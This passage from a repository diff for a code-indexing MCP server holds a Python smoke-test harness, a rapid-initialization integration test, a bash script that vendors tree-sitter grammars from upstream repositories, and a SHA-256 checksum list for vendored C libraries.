not isinstance(invalid_index_result, dict)
or invalid_index_result.get("isError") is not True
):
raise SmokeFailure("index_repository unexpectedly accepted a nonexistent path")
request(process, responses, 3, "ping", {}, timeout)
return
index_response = request(
process,
responses,
2,
"tools/call",
{
"name": "index_repository",
"arguments": {"repo_path": repo_path, "mode": "fast"},
},
timeout,
)
index_result = index_response.get("result")
structured = index_result.get("structuredContent") if isinstance(index_result, dict) else None
project = structured.get("project") if isinstance(structured, dict) else None
if not isinstance(project, str) or not project:
raise SmokeFailure("index_repository response did not identify the indexed project")
if scenario == "roundtrip":
request(
process,
responses,
3,
"tools/call",
{
"name": "search_graph",
"arguments": {"project": project, "name_pattern": "compute"},
},
timeout,
)
return
request(
process,
responses,
3,
"tools/call",
{
"name": "search_code",
"arguments": {
"project": project,
"pattern": "compute",
"mode": "compact",
"limit": 3,
},
},
timeout,
)
discovery_response = request(
process,
responses,
4,
"tools/call",
{
"name": "search_graph",
"arguments": {
"project": project,
"name_pattern": "compute",
"format": "json",
"limit": 1,
},
},
timeout,
)
discovery_result = discovery_response.get("result")
discovery_structured = (
discovery_result.get("structuredContent")
if isinstance(discovery_result, dict)
else None
)
qualified_name = grouped_search_qualified_name(discovery_structured, "compute")
if not qualified_name:
raise SmokeFailure("search_graph did not discover compute's qualified name")
request(
process,
responses,
5,
"tools/call",
{
"name": "get_code_snippet",
"arguments": {"project": project, "qualified_name": qualified_name},
},
timeout,
)
def stop_process(process: subprocess.Popen[bytes]) -> None:
if process.poll() is not None:
return
process.terminate()
try:
process.wait(timeout=2)
except subprocess.TimeoutExpired:
process.kill()
process.wait(timeout=2)
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("binary")
parser.add_argument(
"--scenario",
choices=("initialize", "invalid-index", "roundtrip", "advanced"),
required=True,
)
parser.add_argument("--repo-path", required=True)
parser.add_argument("--response-timeout", type=float, default=45.0)
parser.add_argument("--exit-timeout", type=float, default=15.0)
args = parser.parse_args()
try:
command = mcp_command(args.binary)
process = subprocess.Popen(
command,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
bufsize=0,
)
except (OSError, SmokeFailure) as error:
print(f"FAIL: could not start MCP server: {error}", file=sys.stderr)
return 1
assert process.stdout is not None
assert process.stderr is not None
responses: "queue.Queue[dict[str, Any]]" = queue.Queue()
transcript: list[dict[str, Any]] = []
stderr_chunks: list[bytes] = []
stdout_thread = threading.Thread(
target=read_json_lines,
args=(process.stdout, responses, transcript),
daemon=True,
)
stderr_thread = threading.Thread(
target=drain, args=(process.stderr, stderr_chunks), daemon=True
)
stdout_thread.start()
stderr_thread.start()
try:
run_scenario(
process,
responses,
args.scenario,
args.repo_path,
args.response_timeout,
)
assert process.stdin is not None
process.stdin.close()
try:
return_code = process.wait(timeout=args.exit_timeout)
except subprocess.TimeoutExpired as error:
raise SmokeFailure("MCP server did not exit after interactive stdin EOF") from error
if return_code != 0:
raise SmokeFailure(f"MCP server exited nonzero after completed session: {return_code}")
stdout_thread.join(timeout=2)
stderr_thread.join(timeout=2)
for message in transcript:
print(json.dumps(message, separators=(",", ":"), ensure_ascii=False))
return 0
except SmokeFailure as error:
stop_process(process)
stderr = b"".join(stderr_chunks).decode("utf-8", errors="replace")
daemon_log = cache_log_tail("cbm-daemon.log")
conflicts = cache_log_tail("daemon-conflicts.ndjson")
print(f"FAIL: {error}", file=sys.stderr)
if stderr:
print("--- MCP stderr ---", file=sys.stderr)
print(stderr, file=sys.stderr, end="" if stderr.endswith("\n") else "\n")
if daemon_log:
print("--- daemon log (tail) ---", file=sys.stderr)
print(
daemon_log,
file=sys.stderr,
end="" if daemon_log.endswith("\n") else "\n",
)
if conflicts:
print("--- daemon-conflicts.ndjson (tail) ---", file=sys.stderr)
print(
conflicts,
file=sys.stderr,
end="" if conflicts.endswith("\n") else "\n",
)
return 1
if __name__ == "__main__":
raise SystemExit(main())
+98
View File
@@ -0,0 +1,98 @@
#!/usr/bin/env python3
"""Integration test for the poll/getline FILE* buffering fix.
Spawns the MCP server binary, sends initialize + notifications/initialized +
tools/list all at once (no delays), and asserts that the tools/list response
arrives within 5 seconds.
Usage:
python3 scripts/test_mcp_rapid_init.py [/path/to/binary]
Exit codes:
0 - PASS
1 - FAIL
"""
import subprocess
import sys
import os
TIMEOUT_S = 5
MESSAGES = (
b'{"jsonrpc":"2.0","id":1,"method":"initialize",'
b'"params":{"protocolVersion":"2025-11-25","capabilities":{}}}\n'
b'{"jsonrpc":"2.0","method":"notifications/initialized"}\n'
b'{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}\n'
)
def main():
if len(sys.argv) >= 2:
binary = sys.argv[1]
else:
# Default: look for build artifact relative to this script's directory
script_dir = os.path.dirname(os.path.abspath(__file__))
repo_root = os.path.dirname(script_dir)
binary = os.path.join(repo_root, "build", "c", "codebase-memory-mcp")
if not os.path.isfile(binary):
print(f"FAIL: binary not found at {binary}")
sys.exit(1)
if not os.access(binary, os.X_OK):
print(f"FAIL: binary not executable: {binary}")
sys.exit(1)
proc = subprocess.Popen(
[binary],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
)
try:
# Write all 3 messages in one call and close stdin to signal EOF
stdout_data, _ = proc.communicate(input=MESSAGES, timeout=TIMEOUT_S)
except subprocess.TimeoutExpired:
proc.kill()
proc.wait()
print(
f"FAIL: server did not respond within {TIMEOUT_S}s "
f"(poll/getline buffering bug not fixed)"
)
sys.exit(1)
output = stdout_data.decode("utf-8", errors="replace")
# Expect exactly 2 JSON responses: id:1 (initialize) and id:2 (tools/list).
# notifications/initialized has no id and produces no response.
lines = [ln.strip() for ln in output.splitlines() if ln.strip()]
import json as _json
json_lines = []
for ln in lines:
try:
json_lines.append(_json.loads(ln))
except _json.JSONDecodeError:
pass
ids = {obj.get("id") for obj in json_lines if "id" in obj}
if 1 not in ids:
print("FAIL: missing initialize response (id:1) in server output")
print(f"Server output was:\n{output!r}")
sys.exit(1)
if 2 not in ids:
print("FAIL: missing tools/list response (id:2) in server output")
print(f"Server output was:\n{output!r}")
sys.exit(1)
if "tools" not in output:
print("FAIL: tools/list response body missing 'tools' key")
print(f"Server output was:\n{output!r}")
sys.exit(1)
print("PASS")
sys.exit(0)
if __name__ == "__main__":
main()
+90
View File
@@ -0,0 +1,90 @@
#!/usr/bin/env bash
# vendor-grammar.sh: Vendor a single tree-sitter grammar into internal/cbm/vendored/grammars/<name>/
# Usage: ./scripts/vendor-grammar.sh <repo_url> <name> [subdir]
# repo_url: GitHub repository URL (e.g., https://github.com/tree-sitter/tree-sitter-json)
# name: Target directory name (e.g., json)
# subdir: Optional subdirectory within repo containing src/ (e.g., "fsharp" for monorepo grammars)
set -euo pipefail
REPO_URL="$1"
NAME="$2"
SUBDIR="${3:-}"
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
PROJECT_DIR="$(dirname "$SCRIPT_DIR")"
GRAMMAR_DIR="$PROJECT_DIR/internal/cbm/vendored/grammars/$NAME"
TMPDIR="$(mktemp -d)"
trap 'rm -rf "$TMPDIR"' EXIT
echo "Vendoring $NAME from $REPO_URL..."
git clone --depth 1 "$REPO_URL" "$TMPDIR/repo" 2>/dev/null
SRC_DIR="$TMPDIR/repo/src"
if [ -n "$SUBDIR" ]; then
SRC_DIR="$TMPDIR/repo/$SUBDIR/src"
fi
if [ ! -f "$SRC_DIR/parser.c" ]; then
echo "ERROR: $SRC_DIR/parser.c not found" >&2
exit 1
fi
mkdir -p "$GRAMMAR_DIR/tree_sitter"
cp "$SRC_DIR/parser.c" "$GRAMMAR_DIR/"
if [ -f "$SRC_DIR/scanner.c" ]; then
cp "$SRC_DIR/scanner.c" "$GRAMMAR_DIR/"
fi
if [ -f "$SRC_DIR/scanner.cc" ]; then
echo "WARNING: $NAME has C++ scanner (scanner.cc) — needs special handling" >&2
fi
# Copy tree_sitter headers
if [ -d "$SRC_DIR/tree_sitter" ]; then
cp "$SRC_DIR/tree_sitter/"*.h "$GRAMMAR_DIR/tree_sitter/" 2>/dev/null || true
fi
# Copy any extra headers (.h, .inc files) used by scanners
# Examples: tag.h (Vue/Svelte/Astro), unicode.h (PureScript/Typst),
# TokenTree.h/.inc (VHDL)
for f in "$SRC_DIR"/*.h "$SRC_DIR"/*.inc; do
[ -f "$f" ] && cp "$f" "$GRAMMAR_DIR/"
done
# Copy common/ subdirectory if present (e.g., F# scanner uses common/scanner.h)
if [ -d "$SRC_DIR/common" ]; then
cp -r "$SRC_DIR/common" "$GRAMMAR_DIR/"
fi
# Copy LICENSE file from upstream repo
REPO_ROOT="$TMPDIR/repo"
if [ -n "$SUBDIR" ]; then
# For monorepos, check subdir first, then repo root
if [ -f "$REPO_ROOT/$SUBDIR/LICENSE" ]; then
cp "$REPO_ROOT/$SUBDIR/LICENSE" "$GRAMMAR_DIR/LICENSE"
elif [ -f "$REPO_ROOT/LICENSE" ]; then
cp "$REPO_ROOT/LICENSE" "$GRAMMAR_DIR/LICENSE"
elif [ -f "$REPO_ROOT/LICENSE.md" ]; then
cp "$REPO_ROOT/LICENSE.md" "$GRAMMAR_DIR/LICENSE"
elif [ -f "$REPO_ROOT/COPYING" ]; then
cp "$REPO_ROOT/COPYING" "$GRAMMAR_DIR/LICENSE"
else
echo "WARNING: No LICENSE file found for $NAME" >&2
fi
else
if [ -f "$REPO_ROOT/LICENSE" ]; then
cp "$REPO_ROOT/LICENSE" "$GRAMMAR_DIR/LICENSE"
elif [ -f "$REPO_ROOT/LICENSE.md" ]; then
cp "$REPO_ROOT/LICENSE.md" "$GRAMMAR_DIR/LICENSE"
elif [ -f "$REPO_ROOT/COPYING" ]; then
cp "$REPO_ROOT/COPYING" "$GRAMMAR_DIR/LICENSE"
else
echo "WARNING: No LICENSE file found for $NAME" >&2
fi
fi
echo "Vendored $NAME to $GRAMMAR_DIR"
ls -la "$GRAMMAR_DIR/"
+75
View File
@@ -0,0 +1,75 @@
dd4f25cae53209d45d73f8e6a2b9c219e8fc7434d97f20eba9af1a8b850030fd vendored/mimalloc/include/mimalloc-new-delete.h
21fcf61c4443341ac6bf6ea528af31dc7267e8e3456fc64bfd07704503032175 vendored/mimalloc/include/mimalloc-override.h
5260df227ea1612b8678a06b063cc8f48e739b551554541cdeb4d430a7e257b3 vendored/mimalloc/include/mimalloc-stats.h
869161433ab2d807a75752d0762accf5b68b6b24ce67e417af46bf181b9b6c72 vendored/mimalloc/include/mimalloc.h
e9512b521a82cc0cbc262f6060dd70bb4243ac4a7d69d6ab8b1ef8e56f181a21 vendored/mimalloc/include/mimalloc/atomic.h
57a7297e18ae464a7bfd3fc25a46229008602385697305c69ed289b89ece7631 vendored/mimalloc/include/mimalloc/bits.h
5aeeff21d667daf4aadcc66f634aa957ecd688d15b277828f367c8c2274251a8 vendored/mimalloc/include/mimalloc/internal.h
555302d2fcd05e974441d0c9c9208c26e860db4b3f17b9025a08f42e0f4807ba vendored/mimalloc/include/mimalloc/prim.h
1f378b4b6063c078d2aeb5d916c1d30b5db787a44ab9118e7daf673b086882c6 vendored/mimalloc/include/mimalloc/track.h
b54e760da2a8d9d8a9cb708e280268c2d194c99bc518b21f72db70100578ad6a vendored/mimalloc/include/mimalloc/types.h
70420b4430da4bb6b5197fd27c6c0df485249c53a986bc9536c9fb643fc7613b vendored/mimalloc/src/alloc-aligned.c
6c8e9b0d042481c55791edb7330daec64bedaf26f0e70c9ca40de3cc17a690fe vendored/mimalloc/src/alloc-override.c
98d0eb877d7b9cdf7e9f857aaf3c739b69f746b91221e0e427e82bdd7cec90b3 vendored/mimalloc/src/alloc-posix.c
a92d58e47220e5b6d138b83d92498771be4195ee59136a134e4461f6f726b9b8 vendored/mimalloc/src/alloc.c
86fde644ede2e8d582e53499568a1713516a20326e0350eaa06a28029cece91b vendored/mimalloc/src/arena-meta.c
a1d6900d2b9a17461aa2a72a7791dfb22f6167b86f7ac6f15f981d9735aa2adb vendored/mimalloc/src/arena.c
de16033e029488e9ade4152ea1274e1a5ecbdc2c8a8d8ee50b745fd037ee6f6c vendored/mimalloc/src/bitmap.c
2e7a54ff44592a1fe8fe929e691322622f8aa1e0b1e80954781f332a88dd6cd1 vendored/mimalloc/src/bitmap.h
c9a845dd7b9020f26d73761d235fb75e7bc4a3682576de750050ac4098211b43 vendored/mimalloc/src/free.c
ae8e88737c9861e8e071fe5f1e7acc52093bcffd136a359a6b473101e968c14f vendored/mimalloc/src/heap.c
eca1fe77d72ab2aaccc447c8119056e9c4e8851bda9a95472b573539f76107ad vendored/mimalloc/src/init.c
ebd95b475f15d5387e6ef3c88a9cb47b88e64d7e55998ae1dc656614676a443b vendored/mimalloc/src/libc.c
192ce06ac9076445d223205fb340d8a1fc818dbf2b4c4a801dfd2c10bc6c1162 vendored/mimalloc/src/options.c
011e965f28c0e2c885a6834d51bd756a458dd37ebfed6fd4d9ad6607ce0390ed vendored/mimalloc/src/os.c
1be3a208c678fc34187c2a8ffb75f3fe1eecc674bbf8b2af4d1f329506b1fad5 vendored/mimalloc/src/page-map.c
7ec275805c9f00eb66710ffa99817b3ed1dba9826435d08f4866f7935152f6ae vendored/mimalloc/src/page-queue.c
d3614a59f2407a32e75b051deb1aff31b233f587d325dcc5420ba508551b687e vendored/mimalloc/src/page.c
7488e9e562ca85d2d757ec48e4d334935263a2333aa05b6061d8520f427c5890 vendored/mimalloc/src/prim/emscripten/prim.c
ce14eb6dfd55f241095b55f70983931a2d92f7a6a622a9b360cdd70ab3b53208 vendored/mimalloc/src/prim/osx/alloc-override-zone.c
247a9952465eb105be03a9962e922b085ce5d52034775551a61cd8594275be73 vendored/mimalloc/src/prim/osx/prim.c
cc771788e5ba591efb681829a8724f8662a1f50f3db39cf5ebe7738b8ed57e44 vendored/mimalloc/src/prim/prim.c
c1ae32eaac7ccf18c10058cca99723892f8bd027318590151f5011c929c7e3be vendored/mimalloc/src/prim/unix/prim.c
bee9c655a17e1e93bf4908e0a902fd3b566628447b1446fcbfa92bca2e76ca15 vendored/mimalloc/src/prim/wasi/prim.c
4f3110ef2054c95cb275be96cb279224d3d46a728c5117bd1435425f382de778 vendored/mimalloc/src/prim/windows/etw.h
5cde60fcef94cd79ab816030be00f8c1bdf18fab343563508c681ec6e762d1f1 vendored/mimalloc/src/prim/windows/prim.c
a96a1acc75fd6595811b28420cf0495b87fac98c4dbc73aa0d742b6824f607c8 vendored/mimalloc/src/random.c
4059be2a6676693be3433f5aedc711f56301772e65f3573654c236d6d1cfd074 vendored/mimalloc/src/static.c
16825bbc252de422982b5728df7eda181d952824f5e3ce958c7fc85feae64b8e vendored/mimalloc/src/stats.c
7f76bcace4b0578f2063477752138adabd99f7b10a276998e296a312c47a7cfe vendored/mimalloc/src/theap.c
49be69a4b674e09690a63870830f3ffb05698ed4210949ef5add11957a08325b vendored/mimalloc/src/threadlocal.c
dab3009c0d76b0c5e05ad8abc7c9f8f6effca547fea3c0394be96418a85c1081 vendored/nomic/code_tokens.h
494d329d06e33904e6264b1f9d1cc82de2c6bb212f8d78ba281b7e1eb1179b61 vendored/nomic/code_vectors.h
190d82e7899c6cf74260f122c4a737f77c68e98e8d516750df8d56e7fc00ad57 vendored/sqlite3/sqlite3.c
19585c8b5230e9d4f223bf31b709ece7b6a0bb3faf00d8310625d8e58cda1b1d vendored/sqlite3/sqlite3.h
ea81fb7bd05882e0e0b92c4d60f677b205f7f1fbf085f218b12f0b5b3f0b9e48 vendored/sqlite3/sqlite3ext.h
7efd127c0fc4fe26a07684345cce9287762346abeab665e2fe72711c6fc118bd vendored/tre/regcomp.c
eab23b8e79ee90f78e8495de64519afb61b627e062804fd4a622784e052a85fa vendored/tre/regerror.c
26b0f550d491335cdaa3fecfe49213d68466befdf648ed281ccdaa631ea6d4f9 vendored/tre/regex.h
fd6fe2789439d3d28140c27edfe6bcdde1d1c737cab4bd27b1287d3e759fa82d vendored/tre/regexec.c
e98c7732fdbb35ec182edfe043743d7e6b4ad7bcf57b815ec9f37f0d1065a062 vendored/tre/tre-ast.c
f5d0374597a42f4bf0e7a80001a68bae9ea2622b80f760d8005200fd20acaf0f vendored/tre/tre-ast.h
45407a83ef0151a977cb7f8a5275b2a9831ae570d6f27a43723c8da1e76c0261 vendored/tre/tre-compile.c
924c8b9aa6a261d8b86f1b0b3b575adc5274e135fefcd4193497445e5fc6245a vendored/tre/tre-compile.h
6d803fb5dd3cdb8af353936869d92f7b6e25644c7fb3a26280d24fc4451db7d2 vendored/tre/tre-config.h
d463e509cdc7eda5154d29c75791ccd58eff5d6f4345344829517f62ddb606e1 vendored/tre/tre-filter.c
aabcc5902193f76e457deffa1b3cf2c3b63d39489e6da5fc3f16bb26e83dc067 vendored/tre/tre-filter.h
fd6121af43c4d64f3dc6b55dcd0618bd5b69d5ada60f951bc663a924374a082c vendored/tre/tre-internal.h
2fcb1bbadc845bc32b73b2882bb7f1988f7fdb183b8349750e5f20b29b6223da vendored/tre/tre-match-approx.c
80a0b950fc1c34773d49fcec0f78a3b7de7c893852dcfc83f7eece3ebe262afa vendored/tre/tre-match-backtrack.c
446bf71b5c22ee432dc42705c63abcda8eaebeafecc811d682b658b8d18e68f1 vendored/tre/tre-match-parallel.c
3f726919232c0311daa533fbaff6bdcc3746817b48672c6ed95a6e160c2877f1 vendored/tre/tre-match-utils.h
1645537ca85eefe543da3187b3d1a65bf796ae0a0576545457b56fb63fc13c67 vendored/tre/tre-mem.c
6ae203e4ff329bbc15bd48004f0b5ac0804fe95b1557883d6840949e75f2018b vendored/tre/tre-mem.h
a04e1bea47aff5d858460c1d08aac6ed3a3c8ee285500281dd3147ff0621095e vendored/tre/tre-parse.c
29d69be4d03e723e4b99e9887774970f7e62176aed3369faacd34b955ffb509f vendored/tre/tre-parse.h
4c9af903178f5f7030962b5708d4e656f8b060e795852e1eee883696b682849d vendored/tre/tre-stack.c
aabe11f1b7c6c627dc9cfb62cfb9565ac9ebdf2c51c2d55c5320af5db76c5e3b vendored/tre/tre-stack.h
1c2d81474d2b59b7a39f5b1592473adfb4109fad99156588088f2ccc56c654ab vendored/tre/tre.h
90f76dce41eade7e28c3477d8b45acb8d2ccbc6d4aaba0bb93f0d5ec5b160820 vendored/tre/tre_all.c
9632e5eeb20e3d328f8def0efb2e8230f5b5cb7d9f2e5680ad89caf065f8b3a6 vendored/tre/xmalloc.c
22aee25e6892e97719ec4a5fad91345cd2145722ebbd3ec31397aff68108e3e6 vendored/tre/xmalloc.h
5c3591fe6e6c86a619eb26760e9520e37a6fd5152882ab5ad93f912e2a855966 vendored/xxhash/xxhash.c
86d0d813745821bbccf0be6d67356846f138e5c20164c52c24fade1419afdf7d vendored/xxhash/xxhash.h
1da0205abb1a27c27db397b7f8a475abc0af58963af9a88fc807a6c4fa7a8d51 vendored/yyjson/yyjson.c
b2bd3aec324a0d6bc67196f647c966870e783c2e3944684f10db26b2c04b773f vendored/yyjson/yyjson.h